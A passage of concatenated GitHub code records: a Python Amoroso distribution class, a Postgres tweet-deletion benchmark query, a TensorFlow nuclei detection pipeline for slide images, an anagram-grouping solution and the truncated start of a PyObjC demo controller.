{"seq_id": "11913549500", "text": "'''\nCreated on Jul 15, 2017\n\n@author: matthewcowen-green\n'''\nimport dists.Distribution.Distribution as Distribution\nimport math\nimport numpy as np\nimport scipy.optimize as op\nimport dists.gamma.gamma as gamma\n\nclass amoroso(Distribution):\n    @staticmethod\n    def random(a,theta,aa,bb):\n        return a+theta*math.pow(gamma.random(aa,1),1/bb)\n    @staticmethod\n    def pdf(a,theta,aa,bb,x):\n        #print(a,theta,aa,bb,x)\n        if(theta>0 and x<a):\n            raise ValueError(\"x must be greater than a\")\n        if(theta<0 and x>a):\n            raise ValueError(\"x must be less than a\")\n        aaa=1/math.gamma(aa)\n        bbb=abs(bb/theta)\n        ccc=math.pow((x-a)/theta,aa*bb-1)\n        ddd=math.exp(-math.pow((x-a)/theta,bb))\n        return aaa*bbb*ccc*ddd\n    @staticmethod\n    def mean(a,theta,aa,bb):\n        if(aa+1/bb>=0):\n            return a+theta*math.gamma(aa+1/bb)/math.gamma(aa)\n        return None\n    @staticmethod\n    def mode(a,theta,aa,bb):\n        if(aa*bb>=1):\n            return a+theta*math.pow(aa-1/bb,1/bb)\n        if(aa*bb<=1):\n            return a\n    @staticmethod\n    def variance(a,theta,aa,bb):\n        if(aa+2/bb>=0):\n            return theta**2*(math.gamma(aa+2/bb)/math.gamma(aa)-(math.gamma(aa+1/bb)/math.gamma(aa))**2)\n        return None\n    @staticmethod\n    def stddev(a,theta,aa,bb):\n        if(aa+2/bb>=0):\n            return theta*math.sqrt(math.gamma(aa+2/bb)/math.gamma(aa)-(math.gamma(aa+1/bb)/math.gamma(aa))**2)\n        return None\n    @staticmethod\n    def mle(x): #not working\n        args0=[1,0.3,1.05,0.6]\n        cons=[]\n        for i in x:\n            cons.append(lambda y: np.sign(y[1])*i-y[0])\n        cons.append(lambda y: min(x)-y[0])\n        cons.append(lambda y: y[2])\n        def mlefunc(args_):\n            tomin=1\n            print(args_)\n            for i in x:\n                tomin+=math.log(amoroso.pdf(args_[0],args_[1],args_[2],args_[3],i))\n            return -tomin\n\n        ret=op.slsqp.fmin_slsqp(mlefunc,args0,ieqcons=cons,iprint=2)\n        return {'a':ret[0],'theta':ret[1],'aa':ret[2],'bb':ret[3]}", "repo_name": "mudkip201/distributions", "sub_path": "dist/src/dists/amoroso.py", "file_name": "amoroso.py", "file_ext": "py", "file_size_in_byte": 2081, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "81", "api": [{"api_name": "dists.Distribution.Distribution", "line_number": 12, "usage_type": "name"}, {"api_name": "math.pow", "line_number": 15, "usage_type": "call"}, {"api_name": "dists.gamma.gamma.random", "line_number": 15, "usage_type": "call"}, {"api_name": "dists.gamma.gamma", "line_number": 15, "usage_type": "name"}, {"api_name": "math.gamma", "line_number": 23, "usage_type": "call"}, {"api_name": "math.pow", "line_number": 25, "usage_type": "call"}, {"api_name": "math.exp", "line_number": 26, "usage_type": "call"}, {"api_name": "math.pow", "line_number": 26, "usage_type": "call"}, {"api_name": "math.gamma", "line_number": 31, "usage_type": "call"}, {"api_name": "math.pow", "line_number": 36, "usage_type": "call"}, {"api_name": "math.gamma", "line_number": 42, "usage_type": "call"}, {"api_name": "math.sqrt", "line_number": 47, "usage_type": "call"}, {"api_name": "math.gamma", "line_number": 47, "usage_type": "call"}, {"api_name": "numpy.sign", "line_number": 54, "usage_type": "call"}, {"api_name": "math.log", "line_number": 61, "usage_type": "call"}, {"api_name": "scipy.optimize.slsqp.fmin_slsqp", "line_number": 64, "usage_type": "call"}, {"api_name": "scipy.optimize.slsqp", "line_number": 64, "usage_type": "attribute"}, {"api_name": "scipy.optimize", "line_number": 64, "usage_type": "name"}]}
{"seq_id": "27065838080", "text": "import psycopg2\nimport time\nfrom argparse import ArgumentParser\n\nparser = ArgumentParser()\nparser.add_argument(\"table_name\")\nargs = parser.parse_args()\n\ntable_name = args.table_name\nif table_name not in ('sf1', 'sf2', 'sf3', 'sf4', 'sf5'):\n    raise ValueError(\"Wrong table name\")\n\nconn = psycopg2.connect(\"dbname=twitter user=postgres password=bdma1234\")\ncur = conn.cursor()\n\ndef delete_low_engagement_tweets(cur, table):\n    \"\"\" Delete tweets with low engagement. \"\"\"\n    delete_query = f\"\"\"\n    DELETE FROM {table}\n    WHERE \n      CASE \n        WHEN data->>'retweet_count' ~ '^[0-9]+$' THEN (data->>'retweet_count')::int <= 5\n        ELSE FALSE\n      END\n      AND (data->>'favorited')::boolean = FALSE\n      AND jsonb_array_length(data->'entities'->'user_mentions') = 0;\n    \"\"\"\n    start_time = time.time()\n    cur.execute(delete_query)\n    deleted_count = cur.rowcount  # Get the number of rows affected\n    end_time = time.time()\n\n    print(f\"Time taken to delete low engagement tweets: {end_time - start_time} seconds\")\n\n    with open(\"results/{}.txt\".format(table_name), \"a\") as file:\n      file.write(f\"Execution Time for OLTP Query 7: {end_time - start_time} s\\n\")\n\n    return deleted_count\n\nlow_engagement_deleted = delete_low_engagement_tweets(cur, table_name)\nconn.commit()\ncur.close()\nconn.close()\n\nprint(f\"Number of low engagement tweets deleted: {low_engagement_deleted}\")\n", "repo_name": "QasimKhan5x/document-stores-twitter-benchmark", "sub_path": "postgres/oltp_queries/query7.py", "file_name": "query7.py", "file_ext": "py", "file_size_in_byte": 1391, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "argparse.ArgumentParser", "line_number": 5, "usage_type": "call"}, {"api_name": "psycopg2.connect", "line_number": 13, "usage_type": "call"}, {"api_name": "time.time", "line_number": 28, "usage_type": "call"}, {"api_name": "time.time", "line_number": 31, "usage_type": "call"}]}
{"seq_id": "19099844082", "text": "# -*- coding: utf-8 -*-\n# @__ramraj__\n\n\n# Nuclei Detection without Dask - GPU version\n\n\nfrom __future__ import absolute_import, division, print_function\n\n\nfrom luminoth.utils.config import get_config\nfrom luminoth.utils.predicting import PredictorNetwork\nfrom luminoth.models import get_model\nfrom luminoth.datasets import get_dataset\n\n\nimport os\nimport sys\nimport time\nimport copy\nimport logging\nimport itertools\nimport large_image\nimport numpy as np\nimport scipy as sp\nimport collections\nimport pandas as pd\nimport ujson as json\n\n\nimport tensorflow as tf\nimport utils as cli_utils\nfrom ctk_cli import CLIArgumentParser\n\n\nimport histomicstk as htk\nimport histomicstk.preprocessing.color_normalization as htk_cnorm\nimport histomicstk.preprocessing.color_deconvolution as htk_cdeconv\nimport histomicstk.features as htk_features\nimport histomicstk.utils as htk_utils\nimport histomicstk.segmentation.nuclear as htk_nuclear\nimport histomicstk.segmentation.label as htk_seg_label\nimport histomicstk.filters.shape as htk_shape_filters\n\n\nfrom skimage.filters import threshold_yen, threshold_otsu, threshold_isodata\n\n\nlogging.basicConfig(level=logging.CRITICAL)\n\nos.environ[\"CUDA_DEVICE_ORDER\"] = \"PCI_BUS_ID\"\nos.environ[\"CUDA_VISIBLE_DEVICES\"] = \"1\"\n\n\nJOB_DIR = 'jobs_resnet50ff2ep4'\n\n\nCONFIG = '../luminoth/examples/sample_config.yml'\nCKPT_INDEX = 36000\nCKPT_DIR = \"../luminoth/%s/my-run/model.ckpt-%s\" % \\\n    (JOB_DIR, CKPT_INDEX)\n\n\nREFERENCE_MU_LAB = [8.97307880463709, -\n                    0.048069533099968385, -0.007750513198518623]\nREFERENCE_STD_LAB = [0.35412366, 0.08349332, 0.01101242]\n# STAIN_1 = 'hematoxylin'\n# STAIN_2 = 'dab'\n# STAIN_3 = 'null'\n\n\ndef detect_tile_nuclei(slide_path, tile_position, csv_dict, args, it_kwargs,\n                       src_mu_lab=None, src_sigma_lab=None, debug=False):\n\n    # =========================================================================\n    # ======================= Tile Loading ====================================\n    # =========================================================================\n    detect_tile_start_time = time.time()\n    print('\\n>> Loading Tile ... \\n')\n\n    start_time = time.time()\n    total_tileloading_start_time = time.time()\n\n    ts = large_image.getTileSource(slide_path)\n    tile_info = ts.getSingleTile(\n        tile_position=tile_position,\n        format=large_image.tilesource.TILE_FORMAT_NUMPY,\n        **it_kwargs)\n    im_tile = tile_info['tile'][:, :, :3]\n    csv_dict['ROIShape'].append(im_tile.shape[:2])\n\n    prep_time = time.time() - start_time\n    csv_dict['PreparationTime'].append(round(prep_time, 3))\n\n    # =========================================================================\n    # =================Img Normalization & Color Deconv========================\n    # =========================================================================\n    print('\\n>> Color Deconvolving ... \\n')\n    start_time = time.time()\n\n    im_nmzd = htk_cnorm.reinhard(\n        im_tile,\n        REFERENCE_MU_LAB,\n        REFERENCE_STD_LAB,\n        src_mu=src_mu_lab,\n        src_sigma=src_sigma_lab\n    )\n\n    # perform color decovolution\n    if args.deconv_method == 'ruifrok':\n\n        w = cli_utils.get_stain_matrix(args)\n        im_stains = htk_cdeconv.color_deconvolution(\n            im_nmzd, w).Stains.astype(np.float)[:, :, :2]\n\n    elif args.deconv_method == 'macenko':\n\n        w_est = htk_cdeconv.rgb_separate_stains_macenko_pca(im_tile, 255)\n        im_stains = htk_cdeconv.color_deconvolution(\n            im_tile, w_est, 255).Stains.astype(np.float)\n        ch1 = htk_cdeconv.find_stain_index(\n            htk_cdeconv.stain_color_map[args.stain_1], w_est)\n        ch2 = htk_cdeconv.find_stain_index(\n            htk_cdeconv.stain_color_map[args.stain_2], w_est)\n        im_stains = im_stains[:, :, [ch1, ch2]]\n\n    else:\n\n        raise ValueError('Invalid deconvolution method parameter.')\n\n    # =========================================================================\n    # ====================== Fuse the stain1 & stain2 pix======================\n    # =========================================================================\n\n    # compute nuclear foreground mask\n    im_fgnd_mask_stain_1 = im_stains[\n        :, :, 0] < threshold_yen(im_stains[:, :, 0])\n    im_fgnd_mask_stain_2 = im_stains[\n        :, :, 1] < threshold_yen(im_stains[:, :, 1])\n    im_fgnd_seg_mask = im_fgnd_mask_stain_1 | im_fgnd_mask_stain_2\n\n    # segment nuclei\n    im_nuc_det_input = np.squeeze(np.min(im_stains[:, :, :2], axis=2))\n    print('---> Fusing 2 Stains')\n    deconv_time = time.time() - start_time\n    csv_dict['ColorDeconvTime'].append(round(deconv_time, 3))\n\n    # =========================================================================\n    # ================= Nuclie Detection Deep Learning Block ==================\n    # =========================================================================\n\n    total_tileloading_time = time.time() - total_tileloading_start_time\n    csv_dict['TotalTileLoadingTime'].append(round(total_tileloading_time, 3))\n\n    start_time = time.time()\n\n    config = get_config(CONFIG)\n    config.model.rcnn.proposals.total_max_detections = args.max_det\n    config.model.rcnn.proposals.min_prob_threshold = args.min_prob\n    im_nuc_det_input = np.stack((im_nuc_det_input,) * 3, axis=-1)\n\n    # ====================================================================================================================================\n    tf.reset_default_graph()\n\n    dataset_class = get_dataset('object_detection')\n    model_class = get_model('fasterrcnn')\n    dataset = dataset_class(config)\n    model = model_class(config)\n\n    graph = tf.Graph()\n    session = tf.Session(graph=graph)\n\n    with graph.as_default():\n        image_placeholder = tf.placeholder(\n            tf.float32, (None, None, 3), name='Input_Placeholder'\n        )\n        pred_dict = model(image_placeholder)\n\n        ckpt_loading_start_time = time.time()\n\n        saver = tf.train.Saver(sharded=True, allow_empty=True)\n        saver.restore(session, CKPT_DIR)\n        tf.logging.info('Loaded checkpoint.')\n\n        ckpt_loading_time = time.time() - ckpt_loading_start_time\n        csv_dict['CKPTLoadingTime'].append(round(ckpt_loading_time, 3))\n\n        inference_start_time = time.time()\n\n        cls_prediction = pred_dict['classification_prediction']\n        objects_tf = cls_prediction['objects']\n        objects_labels_tf = cls_prediction['labels']\n        objects_labels_prob_tf = cls_prediction['probs']\n\n        fetches = {\n            'objects': objects_tf,\n            'labels': objects_labels_tf,\n            'probs': objects_labels_prob_tf,\n        }\n\n        fetched = session.run(fetches, feed_dict={\n            image_placeholder: np.array(im_nuc_det_input)\n        })\n\n        inference_time = time.time() - inference_start_time\n        csv_dict['ModelInfernceTime'].append(round(inference_time, 3))\n\n        objects = fetched['objects']\n        labels = fetched['labels'].tolist()\n        probs = fetched['probs'].tolist()\n\n        # Cast to int to consistently return the same type in Python 2 and 3\n        objects = [\n            [int(round(coord)) for coord in obj]\n            for obj in objects.tolist()\n        ]\n\n        predictions = sorted([\n            {\n                'bbox': obj,\n                'label': label,\n                'prob': round(prob, 4),\n            } for obj, label, prob in zip(objects, labels, probs)\n        ], key=lambda x: x['prob'], reverse=True)\n\n    print('\\n>> Finishing Detection ... \\n')\n    print('***** Number of Detected Cells ****** : ', len(predictions))\n    detection_time = time.time() - start_time\n    csv_dict['DetectionTime'].append(round(detection_time, 3))\n    csv_dict['NumObjects'].append(len(predictions))\n    csv_dict['ObjectsDict'].append(predictions)\n\n    # =========================================================================\n    # ======================= TODO: Implement border deletion =================\n    # =========================================================================\n\n    # =========================================================================\n    # ======================= Write Annotations ===============================\n    # =========================================================================\n\n    start_time = time.time()\n\n    objects_df = pd.DataFrame(objects)\n    formatted_annot_list,\\\n        formatter_analysis_list = cli_utils.convert_preds_to_utilformat(\n            objects_df,\n            probs,\n            args.ignore_border_nuclei,\n            im_tile_size=args.analysis_tile_size)\n\n    nuclei_annot_list = cli_utils.create_tile_nuclei_annotations(\n        formatted_annot_list, tile_info, args.nuclei_annotation_format)\n    csv_dict['AnnotationDict'].append(nuclei_annot_list)\n\n    csv_dict['AnalysisDict'] = formatter_analysis_list\n\n    num_nuclei = len(nuclei_annot_list)\n\n    anot_time = time.time() - start_time\n    csv_dict['AnnotationWritingTime'].append(round(anot_time, 3))\n\n    detect_tile_end_time = time.time() - detect_tile_start_time\n    csv_dict['DetectTileNucleiTime'].append(round(detect_tile_end_time, 3))\n\n    return csv_dict\n\n\ndef main(args):\n\n    total_time_profiler = {}\n\n    total_start_time = time.time()\n\n    # =========================================================================\n    # ========================= Read Input Image ==============================\n    # =========================================================================\n\n    print('\\n>> Reading input image ... \\n')\n\n    ts = large_image.getTileSource(args.inputImageFile)\n    ts_metadata = ts.getMetadata()\n\n    print(json.dumps(ts_metadata, indent=2))\n    if np.all(np.array(args.analysis_roi) == -1):\n        process_whole_image = True\n    else:\n        process_whole_image = False\n    is_wsi = ts_metadata['magnification'] is not None\n\n    # =========================================================================\n    # ===================== Compute Foreground Mask ===========================\n    # =========================================================================\n\n    if is_wsi and process_whole_image:\n\n        print('\\n>> Computing tissue/foreground mask at low-res ...\\n')\n\n        start_time = time.time()\n\n        im_fgnd_mask_lres, fgnd_seg_scale = \\\n            cli_utils.segment_wsi_foreground_at_low_res(ts)\n\n        fgnd_time = time.time() - start_time\n\n        tmp_time = cli_utils.disp_time_hms(fgnd_time)\n        print('low-res foreground mask computation time = {}'.format(tmp_time))\n        total_time_profiler[\n            'low-res foreground mask computation time'] = tmp_time\n\n    # =========================================================================\n    # ================== Compute foreground fraction ==========================\n    # =========================================================================\n    it_kwargs = {\n        'tile_size': {'width': args.analysis_tile_size},\n        'scale': {'magnification': args.analysis_mag},\n        'resample': True\n    }\n    tile_fgnd_frac_list = [1.0]\n    if not process_whole_image:\n\n        it_kwargs['region'] = {\n            'left': args.analysis_roi[0],\n            'top': args.analysis_roi[1],\n            'width': args.analysis_roi[2],\n            'height': args.analysis_roi[3],\n            'units': 'base_pixels'\n        }\n    # =========================================================================\n    if is_wsi:\n        print('\\n>> Computing foreground fraction of all tiles ...\\n')\n\n        start_time = time.time()\n\n        num_tiles = ts.getSingleTile(**it_kwargs)['iterator_range']['position']\n\n        print('Number of tiles = {}'.format(num_tiles))\n\n        if process_whole_image:\n            tile_fgnd_frac_list = htk_utils.compute_tile_foreground_fraction(\n                args.inputImageFile, im_fgnd_mask_lres, fgnd_seg_scale,\n                it_kwargs\n            )\n\n        else:\n\n            tile_fgnd_frac_list = np.full(num_tiles, 1.0)\n\n        num_fgnd_tiles = np.count_nonzero(\n            tile_fgnd_frac_list >= args.min_fgnd_frac)\n\n        percent_fgnd_tiles = 100.0 * num_fgnd_tiles / num_tiles\n\n        fgnd_frac_comp_time = time.time() - start_time\n\n        print('Number of foreground tiles = {:d} ({:2f}%)'.format(\n            num_fgnd_tiles, percent_fgnd_tiles))\n\n        print('Tile foreground fraction computation time = {}'.format(\n            cli_utils.disp_time_hms(fgnd_frac_comp_time)))\n\n    # =========================================================================\n    # ========================= Compute reinhard stats ========================\n    # =========================================================================\n    src_mu_lab = None\n    src_sigma_lab = None\n\n    print('\\n>> Computing reinhard color normalization stats ...\\n')\n\n    start_time = time.time()\n\n    src_mu_lab, src_sigma_lab = htk_cnorm.reinhard_stats(\n        args.inputImageFile, 0.01, magnification=args.analysis_mag,\n        tissue_seg_mag=0.625)\n\n    print('Reinahrd stats')\n    print(src_mu_lab, src_sigma_lab)\n\n    rstats_time = time.time() - start_time\n\n    print('Reinhard stats computation time = {}'.format(\n        cli_utils.disp_time_hms(rstats_time)))\n\n    # =========================================================================\n    # ======================== Detect Nuclie in Parallel ======================\n    # =========================================================================\n    print('\\n>> Detecting cell ...\\n')\n    start_time = time.time()\n\n    csv_dict = {}\n    csv_dict['DetectTileNucleiTime'] = []\n\n    csv_dict['PreparationTime'] = []\n    csv_dict['ColorDeconvTime'] = []\n    csv_dict['TotalTileLoadingTime'] = []\n\n    csv_dict['CKPTLoadingTime'] = []\n    csv_dict['ModelInfernceTime'] = []\n    csv_dict['DetectionTime'] = []\n\n    csv_dict['ROIShape'] = []\n    csv_dict['ObjectsDict'] = []\n    csv_dict['NumObjects'] = []\n\n    csv_dict['AnnotationWritingTime'] = []\n\n    csv_dict['AnnotationDict'] = []\n    csv_dict['AnalysisDict'] = []\n\n    for tile in ts.tileIterator(**it_kwargs):\n\n        tile_position = tile['tile_position']['position']\n        if is_wsi and tile_fgnd_frac_list[tile_position] <= args.min_fgnd_frac:\n            continue\n        if is_wsi and process_whole_image and (tile['width'] != args.analysis_tile_size or tile['height'] != args.analysis_tile_size):\n            continue\n\n        csv_dict = detect_tile_nuclei(\n            args.inputImageFile,\n            tile_position,\n            csv_dict,\n            args, it_kwargs,\n            src_mu_lab, src_sigma_lab\n        )\n\n        df = pd.DataFrame(csv_dict,\n                          columns=['DetectTileNucleiTime', 'PreparationTime', 'ColorDeconvTime',\n                                   'TotalTileLoadingTime',\n                                   'CKPTLoadingTime', 'ModelInfernceTime',\n                                   'DetectionTime',\n                                   'ROIShape',\n                                   'NumObjects']\n                          )\n        df.to_csv(args.outputNucleiDetectionTimeProfilingFile)\n\n        nuclei_annot_list = list(\n            itertools.chain.from_iterable(list(csv_dict['ObjectsDict'])))\n        num_nuclei = len(nuclei_annot_list)\n\n        nuclei_detection_time = time.time() - start_time\n\n        print('Number of nuclei = {}'.format(num_nuclei))\n        print('Nuclei detection time = {}'.format(\n            cli_utils.disp_time_hms(nuclei_detection_time)))\n\n        annotation_dict_list = list(\n            itertools.chain.from_iterable(list(csv_dict['AnnotationDict'])))\n\n    # ====================================================================================\n    # ======================= Actual Annotation Writing ======================\n    # ====================================================================================\n\n    print('\\n>> Writing annotation file ...\\n')\n\n    annot_fname = os.path.splitext(\n        os.path.basename(args.outputNuclieAnnotationFile))[0]\n\n    annotation = {\n        \"name\":     annot_fname + '-cell-' + args.nuclei_annotation_format,\n        \"elements\": annotation_dict_list\n    }\n\n    with open(args.outputNuclieAnnotationFile, 'w') as annotation_file:\n        json.dump(annotation, annotation_file, indent=2, sort_keys=False)\n\n    total_time_taken = time.time() - total_start_time\n\n    print('Total analysis time = {}'.format(\n        cli_utils.disp_time_hms(total_time_taken)))\n\n\nif __name__ == \"__main__\":\n\n    main(CLIArgumentParser().parse_args())\n", "repo_name": "DigitalSlideArchive/CNNCellDetection", "sub_path": "cli/FasterNuclieDetectionGPU/FasterNuclieDetectionGPU.py", "file_name": "FasterNuclieDetectionGPU.py", "file_ext": "py", "file_size_in_byte": 16496, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 26, "dataset": "github-code", "pt": "78", "api": [{"api_name": "logging.basicConfig", "line_number": 49, "usage_type": "call"}, {"api_name": "logging.CRITICAL", "line_number": 49, "usage_type": "attribute"}, {"api_name": "os.environ", "line_number": 51, "usage_type": "attribute"}, {"api_name": "os.environ", "line_number": 52, "usage_type": "attribute"}, {"api_name": "time.time", "line_number": 78, "usage_type": "call"}, {"api_name": "time.time", "line_number": 81, "usage_type": "call"}, {"api_name": "time.time", "line_number": 82, "usage_type": "call"}, {"api_name": "large_image.getTileSource", "line_number": 84, "usage_type": "call"}, {"api_name": "large_image.tilesource", "line_number": 87, "usage_type": "attribute"}, {"api_name": "time.time", "line_number": 92, "usage_type": "call"}, {"api_name": "time.time", "line_number": 99, "usage_type": "call"}, {"api_name": "histomicstk.preprocessing.color_normalization.reinhard", "line_number": 101, "usage_type": "call"}, {"api_name": "histomicstk.preprocessing.color_normalization", "line_number": 101, "usage_type": "name"}, {"api_name": "utils.get_stain_matrix", "line_number": 112, "usage_type": "call"}, {"api_name": "histomicstk.preprocessing.color_deconvolution.color_deconvolution", "line_number": 113, "usage_type": "call"}, {"api_name": "histomicstk.preprocessing.color_deconvolution", "line_number": 113, "usage_type": "name"}, {"api_name": "numpy.float", "line_number": 114, "usage_type": "attribute"}, {"api_name": "histomicstk.preprocessing.color_deconvolution.rgb_separate_stains_macenko_pca", "line_number": 118, "usage_type": "call"}, {"api_name": "histomicstk.preprocessing.color_deconvolution", "line_number": 118, "usage_type": "name"}, {"api_name": "histomicstk.preprocessing.color_deconvolution.color_deconvolution", "line_number": 119, "usage_type": "call"}, {"api_name": "histomicstk.preprocessing.color_deconvolution", "line_number": 119, "usage_type": "name"}, {"api_name": "numpy.float", "line_number": 120, "usage_type": "attribute"}, {"api_name": "histomicstk.preprocessing.color_deconvolution.find_stain_index", "line_number": 121, "usage_type": "call"}, {"api_name": "histomicstk.preprocessing.color_deconvolution", "line_number": 121, "usage_type": "name"}, {"api_name": "histomicstk.preprocessing.color_deconvolution.stain_color_map", "line_number": 122, "usage_type": "attribute"}, {"api_name": "histomicstk.preprocessing.color_deconvolution", "line_number": 122, "usage_type": "name"}, {"api_name": "histomicstk.preprocessing.color_deconvolution.find_stain_index", "line_number": 123, "usage_type": "call"}, {"api_name": "histomicstk.preprocessing.color_deconvolution", "line_number": 123, "usage_type": "name"}, {"api_name": "histomicstk.preprocessing.color_deconvolution.stain_color_map", "line_number": 124, "usage_type": "attribute"}, {"api_name": "histomicstk.preprocessing.color_deconvolution", "line_number": 124, "usage_type": "name"}, {"api_name": "skimage.filters.threshold_yen", "line_number": 137, "usage_type": "call"}, {"api_name": "skimage.filters.threshold_yen", "line_number": 139, "usage_type": "call"}, {"api_name": "numpy.squeeze", "line_number": 143, "usage_type": "call"}, {"api_name": "numpy.min", "line_number": 143, "usage_type": "call"}, {"api_name": "time.time", "line_number": 145, "usage_type": "call"}, {"api_name": "time.time", "line_number": 152, "usage_type": "call"}, {"api_name": "time.time", "line_number": 155, "usage_type": "call"}, {"api_name": "luminoth.utils.config.get_config", "line_number": 157, "usage_type": "call"}, {"api_name": "numpy.stack", "line_number": 160, "usage_type": "call"}, {"api_name": "tensorflow.reset_default_graph", "line_number": 163, "usage_type": "call"}, {"api_name": "luminoth.datasets.get_dataset", "line_number": 165, "usage_type": "call"}, {"api_name": "luminoth.models.get_model", "line_number": 166, "usage_type": "call"}, {"api_name": "tensorflow.Graph", "line_number": 170, "usage_type": "call"}, {"api_name": "tensorflow.Session", "line_number": 171, "usage_type": "call"}, {"api_name": "tensorflow.placeholder", "line_number": 174, "usage_type": "call"}, {"api_name": "tensorflow.float32", "line_number": 175, "usage_type": "attribute"}, {"api_name": "time.time", "line_number": 179, "usage_type": "call"}, {"api_name": "tensorflow.train.Saver", "line_number": 181, "usage_type": "call"}, {"api_name": "tensorflow.train", "line_number": 181, "usage_type": "attribute"}, {"api_name": "tensorflow.logging.info", "line_number": 183, "usage_type": "call"}, {"api_name": "tensorflow.logging", "line_number": 183, "usage_type": "attribute"}, {"api_name": "time.time", "line_number": 185, "usage_type": "call"}, {"api_name": "time.time", "line_number": 188, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 202, "usage_type": "call"}, {"api_name": "time.time", "line_number": 205, "usage_type": "call"}, {"api_name": "time.time", "line_number": 228, "usage_type": "call"}, {"api_name": "time.time", "line_number": 241, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 243, "usage_type": "call"}, {"api_name": "utils.convert_preds_to_utilformat", "line_number": 245, "usage_type": "call"}, {"api_name": "utils.create_tile_nuclei_annotations", "line_number": 251, "usage_type": "call"}, {"api_name": "time.time", "line_number": 259, "usage_type": "call"}, {"api_name": "time.time", "line_number": 262, "usage_type": "call"}, {"api_name": "time.time", "line_number": 272, "usage_type": "call"}, {"api_name": "large_image.getTileSource", "line_number": 280, "usage_type": "call"}, {"api_name": "ujson.dumps", "line_number": 283, "usage_type": "call"}, {"api_name": "numpy.all", "line_number": 284, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 284, "usage_type": "call"}, {"api_name": "time.time", "line_number": 298, "usage_type": "call"}, {"api_name": "utils.segment_wsi_foreground_at_low_res", "line_number": 301, "usage_type": "call"}, {"api_name": "time.time", "line_number": 303, "usage_type": "call"}, {"api_name": "utils.disp_time_hms", "line_number": 305, "usage_type": "call"}, {"api_name": "time.time", "line_number": 332, "usage_type": "call"}, {"api_name": "histomicstk.utils.compute_tile_foreground_fraction", "line_number": 339, "usage_type": "call"}, {"api_name": "histomicstk.utils", "line_number": 339, "usage_type": "name"}, {"api_name": "numpy.full", "line_number": 346, "usage_type": "call"}, {"api_name": "numpy.count_nonzero", "line_number": 348, "usage_type": "call"}, {"api_name": "time.time", "line_number": 353, "usage_type": "call"}, {"api_name": "utils.disp_time_hms", "line_number": 359, "usage_type": "call"}, {"api_name": "time.time", "line_number": 369, "usage_type": "call"}, {"api_name": "histomicstk.preprocessing.color_normalization.reinhard_stats", "line_number": 371, "usage_type": "call"}, {"api_name": "histomicstk.preprocessing.color_normalization", "line_number": 371, "usage_type": "name"}, {"api_name": "time.time", "line_number": 378, "usage_type": "call"}, {"api_name": "utils.disp_time_hms", "line_number": 381, "usage_type": "call"}, {"api_name": "time.time", "line_number": 387, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 425, "usage_type": "call"}, {"api_name": "itertools.chain.from_iterable", "line_number": 436, "usage_type": "call"}, {"api_name": "itertools.chain", "line_number": 436, "usage_type": "attribute"}, {"api_name": "time.time", "line_number": 439, "usage_type": "call"}, {"api_name": "utils.disp_time_hms", "line_number": 443, "usage_type": "call"}, {"api_name": "itertools.chain.from_iterable", "line_number": 446, "usage_type": "call"}, {"api_name": "itertools.chain", "line_number": 446, "usage_type": "attribute"}, {"api_name": "os.path.splitext", "line_number": 454, "usage_type": "call"}, {"api_name": "os.path", "line_number": 454, "usage_type": "attribute"}, {"api_name": "os.path.basename", "line_number": 455, "usage_type": "call"}, {"api_name": "os.path", "line_number": 455, "usage_type": "attribute"}, {"api_name": "ujson.dump", "line_number": 463, "usage_type": "call"}, {"api_name": "time.time", "line_number": 465, "usage_type": "call"}, {"api_name": "utils.disp_time_hms", "line_number": 468, "usage_type": "call"}, {"api_name": "ctk_cli.CLIArgumentParser", "line_number": 473, "usage_type": "call"}]}
{"seq_id": "19686853174", "text": "from collections import defaultdict\r\ndef groupAnagrams(strs):\r\n    res = defaultdict(list) # mapping charCount to list of Anagrams\r\n\r\n    for s in strs:\r\n        count = [0] * 26 # a ... z\r\n\r\n        for c in s:\r\n            count[ord(c) - ord(\"a\")] += 1 #to know position of each letter we subtract its ask value minus ask of \"a\"\r\n        print(count)\r\n        res[tuple(count)].append(s)\r\n    return res.values()\r\n\r\n\r\n\r\nstrs = [\"eat\",\"tea\",\"tan\",\"ate\",\"nat\",\"bat\"]\r\n# Output: [[\"bat\"],[\"nat\",\"tan\"],[\"ate\",\"eat\",\"tea\"]]\r\nprint(groupAnagrams(strs))", "repo_name": "mack-cs/leetcode-problems-and-solutions", "sub_path": "group_anagram.py", "file_name": "group_anagram.py", "file_ext": "py", "file_size_in_byte": 549, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "collections.defaultdict", "line_number": 3, "usage_type": "call"}]}
{"seq_id": "7628629584", "text": "from Cocoa import *\nfrom PyObjCTools import NibClassBuilder\nfrom Quartz import *\nimport objc\n\nimport ShadowOffsetView\n\n\nclass TLayerDemo (NSObject):\n    colorWell = objc.IBOutlet()\n    shadowOffsetView = objc.IBOutlet()\n    shadowRadiusSlider = objc.IBOutlet()\n    tlayerView = objc.IBOutlet()\n    transparencyLayerButton = objc.IBOutlet()\n\n\n    @classmethod\n    def initialize(self):\n        NSColorPanel.sharedColorPanel().setShowsAlpha_(True)\n\n    def init(self):\n        self = super(TLayerDemo, self).init()\n        if self is None:\n            return None\n\n        if not NSBundle.loadNibNamed_owner_(\"TLayerDemo\", self):\n            NSLog(\"Failed to load TLayerDemo.nib\")\n            return nil\n\n        self.shadowOffsetView.setScale_(40)\n        self.shadowOffsetView.setOffset_(CGSizeMake(-30, -30))\n        self.tlayerView.setShadowOffset_(CGSizeMake(-30, -30))\n\n        self.shadowRadiusChanged_(self.shadowRadiusSlider)\n\n        # Better to do this as a subclass of NSControl....\n        NSNotificationCenter.defaultCenter(\n                ).addObserver_selector_name_object_(\n                        self, 'shadowOffsetChanged:',\n                        ShadowOffsetView.ShadowOffsetChanged, None)\n        return self\n\n    def dealloc(self):\n        NSNotificationCenter.defaultCenter().removeObserver_(self)\n        super(TLayerDemo, self).dealloc()\n\n    def window(self):\n        return self.tlayerView.window()\n\n    @objc.IBAction\n    def shadowRadiusChanged_(self, sender):\n        self.tlayerView.setShadowRadius_(self.shadowRadiusSlider.floatValue())\n\n    @objc.IBAction\n    def toggleTransparencyLayers_(self, sender):\n        